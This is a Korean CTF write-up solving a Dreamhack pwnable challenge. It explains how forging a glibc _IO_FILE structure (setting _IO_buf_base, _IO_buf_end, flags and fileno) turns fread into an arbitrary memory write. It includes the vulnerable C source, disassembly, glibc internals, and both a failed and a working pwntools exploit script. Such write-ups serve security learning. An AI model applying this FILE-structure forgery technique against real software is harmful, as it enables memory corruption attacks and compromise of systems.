Dreamhack/Pwnable 문제 풀이

[Pwnable Advanced] Exploit Tech: _IO_FILE Arbitrary Address Write

seobangwool 2026. 4. 16. 23:01

Ubuntu 18.04 64-bit(Glibc 2.27) 실습 환경 Dockerfile

FROM ubuntu:18.04
ENV PATH="${PATH}:/usr/local/lib/python3.6/dist-packages/bin"
ENV LC_CTYPE=C.UTF-8
RUN apt update
RUN apt install -y \
    gcc \
    git \
    python3 \
    python3-pip \
    ruby \
    sudo \
    tmux \
    vim \
    wget
# install pwndbg
WORKDIR /root
RUN git clone https://github.com/pwndbg/pwndbg
WORKDIR /root/pwndbg
RUN git checkout 2023.03.19
RUN ./setup.sh
# install pwntools
RUN pip3 install --upgrade pip
RUN pip3 install pwntools
# install one_gadget command
RUN gem install one_gadget -v 1.6.2
# install patchelf
WORKDIR /root
RUN apt install -y dh-autoreconf
RUN git clone https://github.com/NixOS/patchelf
WORKDIR /root/patchelf
RUN git checkout 0.17.2
RUN ./bootstrap.sh
RUN ./configure
RUN make
RUN make check
RUN sudo make install
WORKDIR /root
CONTAINER_NAME=my_container; \
docker build . -t ubuntu1804; \
docker run -d -t --privileged --name=$CONTAINER_NAME ubuntu1804; \
docker exec -it -u root $CONTAINER_NAME bash

iofile_aaw.c

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char flag_buf[1024];
int overwrite_me;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_flag() {
  FILE *fp;
  fp = fopen("/home/iofile_aaw/flag", "r");
  fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);

  write(1, flag_buf, sizeof(flag_buf));
  fclose(fp);
}

int main() {
  FILE *fp;

  char file_buf[1024];

  init();

  fp = fopen("/etc/issue", "r");

  printf("Data: ");

  read(0, fp, 300);

  fread(file_buf, 1, sizeof(file_buf)-1, fp);

  printf("%s", file_buf);

  if( overwrite_me == 0xDEADBEEF)
    read_flag();

  fclose(fp);
}
pwndbg> checksec
[*] '/root/io/IO/iofile_aaw'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 

코드 분석

코드에 나와있듯이 overwrite_me만 특정 값으로 바꾸면 플래그가 나오는 코드이다.

근데 read 는 안전하게 heap 에 저장될 것 같고 .. 건들 수 있는게 뭐가 있을까 고민을 하다가 일단 실행을 시켜봤다.

 

동적 분석

pwndbg> disassem main
Dump of assembler code for function main:
   0x000000000040082b <+0>:     push   rbp
   0x000000000040082c <+1>:     mov    rbp,rsp
   0x000000000040082f <+4>:     sub    rsp,0x420
   0x0000000000400836 <+11>:    mov    rax,QWORD PTR fs:0x28
   0x000000000040083f <+20>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400843 <+24>:    xor    eax,eax
   0x0000000000400845 <+26>:    mov    eax,0x0
   0x000000000040084a <+31>:    call   0x400787 <init>
   0x000000000040084f <+36>:    lea    rsi,[rip+0x14e]        # 0x4009a4
   0x0000000000400856 <+43>:    lea    rdi,[rip+0x15f]        # 0x4009bc
   0x000000000040085d <+50>:    call   0x400690 <fopen@plt>
   0x0000000000400862 <+55>:    mov    QWORD PTR [rbp-0x418],rax
   0x0000000000400869 <+62>:    lea    rdi,[rip+0x157]        # 0x4009c7
   0x0000000000400870 <+69>:    mov    eax,0x0
   0x0000000000400875 <+74>:    call   0x400660 <printf@plt>
   0x000000000040087a <+79>:    mov    rax,QWORD PTR [rbp-0x418]
   0x0000000000400881 <+86>:    mov    edx,0x12c
   0x0000000000400886 <+91>:    mov    rsi,rax
   0x0000000000400889 <+94>:    mov    edi,0x0
   0x000000000040088e <+99>:    call   0x400670 <read@plt>
   0x0000000000400893 <+104>:   mov    rdx,QWORD PTR [rbp-0x418]
   0x000000000040089a <+111>:   lea    rax,[rbp-0x410]
   0x00000000004008a1 <+118>:   mov    rcx,rdx
   0x00000000004008a4 <+121>:   mov    edx,0x3ff
   0x00000000004008a9 <+126>:   mov    esi,0x1
   0x00000000004008ae <+131>:   mov    rdi,rax
   0x00000000004008b1 <+134>:   call   0x400620 <fread@plt>
   0x00000000004008b6 <+139>:   lea    rax,[rbp-0x410]
   0x00000000004008bd <+146>:   mov    rsi,rax
   0x00000000004008c0 <+149>:   lea    rdi,[rip+0x107]        # 0x4009ce
   0x00000000004008c7 <+156>:   mov    eax,0x0
   0x00000000004008cc <+161>:   call   0x400660 <printf@plt>
   0x00000000004008d1 <+166>:   mov    eax,DWORD PTR [rip+0x200bc9]        # 0x6014a0 <overwrite_me>
   0x00000000004008d7 <+172>:   cmp    eax,0xdeadbeef
   0x00000000004008dc <+177>:   jne    0x4008e8 <main+189>
   0x00000000004008de <+179>:   mov    eax,0x0
   0x00000000004008e3 <+184>:   call   0x4007ca <read_flag>
   0x00000000004008e8 <+189>:   mov    rax,QWORD PTR [rbp-0x418]
   0x00000000004008ef <+196>:   mov    rdi,rax
   0x00000000004008f2 <+199>:   call   0x400640 <fclose@plt>
   0x00000000004008f7 <+204>:   mov    eax,0x0
   0x00000000004008fc <+209>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x0000000000400900 <+213>:   xor    rcx,QWORD PTR fs:0x28
   0x0000000000400909 <+222>:   je     0x400910 <main+229>
   0x000000000040090b <+224>:   call   0x400650 <__stack_chk_fail@plt>
   0x0000000000400910 <+229>:   leave
   0x0000000000400911 <+230>:   ret

read 를 실행하는 main+99 에 브레이크를 걸고 실행을 시켰다.

 

image (57)

rsi 에는 fd 주소인 0x602260 이 들어있었고 ni로 read를 실행시켜서 AAAA 를 넣어줬다.

 

image (58)

그러면 이렇게 값이 들어가있고 내부에 무슨 값들이 몇개 들어있었다.
그래서 혹시나 이전에 읽은 /etc/issue 와 관련된 값인가? 싶어서 찾아보니

 

image (59)

IO FILE 구조체와 관련된 값인 걸 찾았다.
0xfbad2086 가 정확히 어떤 역할인진 모르겠으나 IO 구조체의 flag 값이 아닐까 싶다.

생각해보니 read 로 fp 에 저장을 시키는거니까 io file 구조체를 마음대로 가지고 놀 수 있게 문제에서 다 내어준 거였다.

아무튼 이제 방향을 확실하게 잡았다. 구조체를 수정해서 overwrite_me 를 원하는 값으로 써주자. 그럴려면 일단 IO FILE 구조체가 어떻게 생겼는지 알아야겠다.

저 0x00007ffff7dce680 안에 있는 값이 0xfbad2086 로 flag 위치인것 같으니까 저 위치는 기준으로 IO FILE 구조체 위치를 뽑아내봤다.

 

image (60)

이렇게 맞게 채워진것같다.

 

image (61)

깔끔하게 뽑아보면 이런느낌

 

image (62)

그리고 젤 중요한 vtable을 뽑아보면 이렇게 생겼다.
핵심은 xsgetn 멤버 변수를 건드리는거다.

이제 얘를 원하는 모양으로 바꿔두고 내가 원하는 장소에 숨겨두자
그리고 그렇게 만들어낸 새로운 구조체를 읽히면 원하는 동작이 가능할 것이다.

 

image (63)

내가 원하는건 overwrite_me 변수를 수정하는거니까 주소를 알아놔야지.
전역변수고 값없이 선언된상태니까 아마 data 영역일거고 권한 역시 충분하다.

자 그럼 이제 준비가 전부 끝났다 0x6014a0 주소에 바로 원하는 값을 집어넣어버리자.

근데 여기서 답을 찾는데 시간이 좀 걸렸다.

값을 어떻게 넣을지 감이 안잡혀서 여러 시도를 해봤다.

  • 가젯 체인 짜서 변수 값 바꾸기→ overwrite_me 를 덮기엔 모든 가젯이 없음
  • execve로 쉘 실행 → syscall 가젯이 없음

등등 가젯을 이용한 건 가젯이 없어서 만들어지질 않았다.

fread()
 └── _IO_fread()
       └── _IO_sgetn(fp, data, n)
             └── _IO_XSGETN(fp, data, n)
                   └── fp->vtable->__xsgetn(fp, data, n)
                           └── _IO_file_xsgetn(...)  ← 파일 읽기

그래서 이전 Write up을 계속 읽다가 찾아낸게
위 구조로 쭉 호출을 하고, 살펴보면 fp, data, n 인자가 쭉 그대로 들고가진다.

그러면 pop rdi, pop rsi 가젯은 있으니까 이걸 이용하면 되지않나? 라는 생각이 들어서
xsgetn 에 pop rdi ; ret ; 을 넣고 그대로 해봤는데 안된다.

 

실패 익스플로잇 코드

from pwn import *

p = remote('host8.dreamhack.games', 18758)
e = ELF('./iofile_aaw')


p.recvuntil(b'Data')

overwrite_me = e.symbols['overwrite_me']
pop_rdi = 0x400983
pop_rsi = 0x400981

fake_vtable_addr = 0x602250 + 0x100


fake_IO = (
    p64(0xfbad2086)         # _flags
  + p64(0) * 3             # _IO_read_ptr, _IO_read_end, _IO_read_base
  + p64(0) * 3             # _IO_write_base, _IO_write_ptr, _IO_write_end
  + p64(0) * 5             # buffers
  + p64(0) * 2             # marker, chain
  + p64(0)                 # fileno
  + p64(0)                 # flags2
  + p64(0)                 # old_offset
  + p64(0)                 # cur_column
  + p64(0)                 # vtable_offset
  + p64(0) * 6             # dummy
  + p64(fake_vtable_addr)  # vtable
)

fake_vtable = (
    p64(0) * 8          
  + p64(pop_rdi)           # pop rdi 가젯
)


payload = fake_IO.ljust(0x100, b'\x00') 
payload += fake_vtable

payload += p64(pop_rdi)
payload += p64(overwrite_me)
payload += p64(pop_rsi)
payload += p64(0xDEADBEEF)
payload += p64(0)

p.send(payload)

p.interactive()

image (64)

어디서 틀린건지 서칭을 해본 결과 레지스터를 저렇게 바꿔도 fd data n 같은 값은 IO 구조체에 있는 멤버 변수로 가져오는거라고 한다.
그래서 fd 를 overwrite_me 로 바꾸고 싶었다면 _IO_buf_base 를 만졌어야했다…



분석 + 다시 시도

로직을 제대로 살펴보기 위해 _IO_file_xsgetn 함수부 살펴보자

_IO_file_xsgetn

_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
  _IO_size_t want, have;
  _IO_ssize_t count;
  _char *s = data;
  want = n;
    ...
      /* If we now want less than a buffer, underflow and repeat
         the copy.  Otherwise, _IO_SYSREAD directly to
         the user buffer. */
      if (fp->_IO_buf_base
          && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
        {
          if (__underflow (fp) == EOF)
        break;

          continue;
        }
    ...
}

조건문부터 살펴보면 fp 인 IO 파일 구조체의 IO buf base 가 유효한지 살펴보고
IO buf 에서 base를 빼서 남은 요청량인 want 가 (n) 내부 버퍼크기보다 작은지 확인한다.

그 뒤 __underflow 를 검사하는데 이때 _IO_new_file_underflow 함수를 호출한다.

이제 _IO_new_file_underflow를 살펴보자

 

_IO_new_file_underflow

 int _IO_new_file_underflow (FILE *fp)
{
  ssize_t count;
  if (fp->_flags & _IO_NO_READS)           
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
   ...
   count = _IO_SYSREAD (fp, fp->_IO_buf_base,     
    fp->_IO_buf_end - fp->_IO_buf_base);
}

위 함수에서는 우선 flag 에 읽기 권한이 있는지 확인하고 _IO_SYSREAD 함수의 인자로,
읽은 데이터를 채워 넣을 내부 버퍼의 시작 주소와, 읽어 들일 최대 바이트 수를 넘긴다.

이번 문제에서는 이 중 base 값에 overwrite_me 주소로 바꿔서 해당 부분을 원하는 값으로 바꾼다.

_IO_SYSREAD 함수는 vtable의 _IO_file_read 함수로 아래 매크로에서 확인가능하다.

#define _IO_SYSREAD(FP, DATA, LEN) JUMP2 (__read, FP, DATA, LEN)

 

_IO_file_read

_IO_ssize_t
_IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size)
{
  return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
      ? __read_nocancel (fp->_fileno, buf, size)
      : __read (fp->_fileno, buf, size));
}

위에서 말한 그대로 인자들이 전달되고 실행된다.

 

익스플로잇 설계

이제 익스플로잇 설계를 해보면 fread 함수에서 참조하는 파일 구조체에서 IO_buf_base 와 end 를 조작해서 대상을 바꿔주는 것이 목표이다.

문제에서 주어졌듯이 overwrite_me 값을 0xDEADBEEF 로 덮어씌우면 flag 내용을 얻을 수 있다.

IO_buf_base 값은 overwrite_me 로 바꾸고, IO_buf_end - IO_buf_base 값은 1024 보다 큰 수로 맞춰주면 된다.

1024보다 커야하는 이유는 _IO_new_file_underflow 함수에서
IO_buf_end - IO_buf_base 값이 fread 함수의 인자로 전달된 읽을 크기보다 커야하는 조건이 있기 때문이다.

그리고 fileno 를 기존에는 etc 경로의 특정 파일에 데이터를 읽으려했지만 지금은 표준입력으로 맞춰줘야 원하는 값을 쓸 수 있으므로 0으로 적어준다.

read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);
/* read(0, overwrite_me, overwrite_me+1024) */

그리고 플래그도

  • _IO_MAGIC (0xfbad0000)
  • _IO_IS_FILEBUF (0x2000)
  • _IO_TIED_PUT_GET (0x0400)
  • _IO_LINKED (0x0080)
  • _IO_NO_WRITES (0x0008)

이렇게 기존에는 _IO_UNBUFFERED (0x0002) + _IO_NO_READS (0x0004) 로 읽기가 금지 되었었는데 _IO_NO_WRITES (0x0008) 로 읽기전용으로 바꿔주고,

_IO_TIED_PUT_GET (0x0400) 를 호출하여 underflow 이후 read 시스템 콜 경로가 정상 작동하게 맞춰준다.

이제 익스플로잇 코드를 작성해보면

 

최종 익스플로잇 코드

from pwn import *
import time

p = remote('host8.dreamhack.games', 18758)
e = ELF('./iofile_aaw')

context.arch = 'amd64'

overwrite_me = e.symbols['overwrite_me']

fake_IO = (
    p64(0xfbad2488)        # _flags
  + p64(0) * 3             
  + p64(0) * 3             
  + p64(overwrite_me)      # _IO_buf_base
  + p64(overwrite_me + 1024)  # _IO_buf_end
  + p64(0) * 3             
  + p64(0) * 2             
  + p64(0)                 # stdin
)

p.sendlineafter(b'Data: ', fake_IO)
time.sleep(1)

p.send(p64(0xDEADBEEF) + b'\x00'*1024)

p.interactive()

image

이렇게 답이 나왔다.